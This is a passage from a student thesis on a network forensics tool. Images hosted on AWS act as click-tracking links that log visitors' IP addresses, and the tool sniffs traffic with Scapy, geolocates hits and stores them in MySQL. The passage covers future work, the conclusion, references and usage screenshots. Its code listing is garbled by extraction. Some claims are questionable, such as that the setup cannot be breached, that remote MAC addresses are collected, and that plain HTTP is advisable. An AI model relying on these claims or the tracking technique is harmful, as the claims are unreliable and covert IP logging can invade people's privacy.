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Figure 28: Rogue IP address Hit

While using a simple client server model, this thesis successfully realizes

proof of concept mentioned in section 2.5. The greater benefit is that the whole setup is

behind the secure Amazon AWS firewalls. Therefore, state-of-the-art firewalls protect the

obtained network data without a possible breach; the worst-case scenario would be to shut

down the instance and re-open a new instance.
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8 Future Improvements

The version one of Voyager is a basic, robust and effective network forensics analysis

tool. As mentioned in the earlier section, there are some reliability issues which may arise

due to the single machine functionality rather then distributive operations. Hence one pos-

sible solution (and an important future aspect of development) would be to allocate special

hashed session ID’s to every recorded network session. This helps keep track of the network

session. Also, the project only uses HTTP as the packet dissection and parsing functionality.

The main reason behind using SCAPY is that it allows the examiner or researcher to create

new network analysis tools based on the protocol needed.

Another future aspect would be to write networking protocols libraries in python

and SCAPY which would allow network forensics examiner to monitor and extract VoIP

(Voice over IP) data. Future enhancements would be the data analysis and visualization of

the collected data. Using an Angular JS framework,there can be a very detailed visualization

of the data collected. Using the output JSON files, a NOSQL database can be created. It

is assumed that a substantial amount of data can be collected thus there is possibility of

data mining and clustering the different parameters of the data. The figure 29 represents

one such visualization:
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Figure 29: Real time visualization on the world map(50)

This figure (50) illustrates data on CP which is maintained by the FBI; hence

the visualization on the map, based on different data analysis such location based in real

time or static Geo locations, etc.

Also since the IP address obtained is a public IP address; it can also be from

a Tor network VPN. Under any circumstances this program does not attempt to identify

private IP address; rather, it proposes to extend the sniffing module program by using Geo

IP 2 API, which can determine the Suspicious IP (53). This database contains 94+ million

anonymous IPv4 addresses. One has to buy the access to the data-set, but thus it would

make the development of this program completely open-source in terms of its components.
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9 Conclusion

The Thesis successfully develops a preventive network forensic analysis tool which

involves the use of graphic images to establish a client-server connection, thus collecting

network data such as IP address and MAC address of the machine through image clicks.

The realization of the solution was successful and was able to obtain public IP

addresses of the clients. The MAC address of the connecting devices was also collected and

was recorded in the database in real time while the URL of the image on server was clicked.

The data of the image uploaded and the related network data is recorded using MySQL,

which houses on an Amazon AWS EC2 instance.

This thesis also recognizes the problem of large network data packet capture

PCAP in order to parse and obtain the specific output data and hence gives a solution

using sniff module SCAPY. With this module, parsing and sniffing of the network data

packets were done in real-time with no file storage. Thus giving a positive aspect of using

minimal infrastructure for deployment of the tool.
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http://www.netresec.com/?page=PcapFiles

(50) Violent Crimes Against Children/Online Predatorshttps://www.fbi.gov/

investigate/violent-crime/cac

(51) Page 72, Collection Générale des Décrets Rendus par la Convention Nationale, May

8, 1793 (Du 8 Mai 1793), Quote Publisher: Chez Baudouin, Imprimeur de la Convention
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Nationale. A, Paris.

(52)Operation Broken Heart: https://www.nbclosangeles.com/news/local/Child-Predators-

275-Arrests-Pedophiles-Operation-Broken-Heart-SoCal-264817521.html

(53) GEO IP 2 Database:https://www.maxmind.com/en/geoip2-anonymous-ip-database

(54) TCP Handshake reference :https://labbots.com/

(55) OSI Model image reference:https:https://www.pei.com/wp-content/uploads/2016/03/OSI.jpg

(56) Launch a Amazon AMI EC2 instance: https://aws.amazon.com/getting-started/tutorials/launch-

a-virtual-machine/
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Appendix

Usage and Screen-shots

Using the Image Upload Module

The image upload module can be accessed by the public DNS URL for the server fol-

lowed by /imageupload as the image upload folder will be stored in the /var/www/html/

as mentioned in the chapters 4 and 5.

Figure 30: Open the image upload module

In the screen-shot above, use of http:// is done which is an unsecured method, but is

the advisable mode of communications for digital forensics.
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Figure 31: the image upload module

The screen-shot above is the GUI for application for the Image Upload module. In the

screen-shot below, an examiner selects a file from a local disk and uploads it.

Figure 32: open an image
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Figure 33: select a JPG image for upload

Once the the image has been loaded to a temporary memory, it is ready for upload to

the server. The screen-shot below depicts the operation.

Figure 34: click on submit button to upload the image

Once the submit button is hit, the image is uploaded onto the server and a static URL

is generated using the public DNS. In the future if a domain is associated with the server,
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a dynamic URL generation may be possible.

The screen-shot below shows the output of the image upload. Once the image has been

uploaded onto the server, the script will generate a new hashed index for the image and

also rename the image with the same name as seen it the screen-shot below. The entry for

generated URL, the image name and hash have been recorded on the database.

Figure 35: The output of image upload module

The screen-shot below shows getting to the URL link generated by the image upload.
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Figure 36: The output of image upload module

Sniff via PCAP file

The offline PCAP file parser setup is shown in this section. The screen-shot below suggests

the first step from the server side. It involves making a folder/directory on the server to

store the PCAP file.

Figure 37: Created folder pcap on the server

The next step would be to save the recorded pcap file in the folder we created above.

The screen-shot below shows the pcap file in the folder.
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Figure 38: The test4.pcap file in the folder

Once the program is executed, the entry is made in the database. A recent edit to the

program was to detect the suspicious operations of the network bots which are deployed to

scrape network data from the IP hits based on the time of connections. The code for the

program is below.

1

2 sm_ip = [ ]

3 dm_ip = [ ]

4 m_ip = [ ]

5 i f p . ha s l aye r ( ’ IP ’ ) :

6 i f not p [ ’ IP ’ ] . s r c in sm_ip :

7 sm_ip . append (p [ ’ IP ’ ] . s r c )

8 m_ip . append (p [ ’ IP ’ ] . s r c )

9 i f not p [ ’ IP ’ ] . dst in dm_ip :

10 dm_ip . append (p [ ’ IP ’ ] . dst )

11 m_ip . append (p [ ’ IP ’ ] . dst )

12 pr in t "{} : Source IP have su cp i c o i u s a c t i v i t y " . format ( l en (m_ip) )

13 pr in t "{} −Source IP Address are sucp i sous . " . format ( s t r ( sm_ip) )

14 pr in t "{} −Dest inat i on IP Address are sucp i sous . " . format ( s t r (dm_ip) )

Listing 8: Suspicious IP Code
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Figure 39: The output of pparser.py

The output of the file is recorded on the MySQL database. The screen-shot below is the

output record in MySQL.

Figure 40: The output record in MySQL
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For the online network sniffing, the procedure is the same as above, except that there

is no need of creating or storing a PCAP file. The screen shot below refers the operation

of online sniffing. The added feature was using MAXMIND’s database for IP and Cities to

get the geo location of the IP Address click. Also, it scans the traffic through port 80; the

entry in the database is the just the MD5 hash name of the image. The screen-shot below

shows the operation done by online sniffing.

Figure 41: The output of sniff.py
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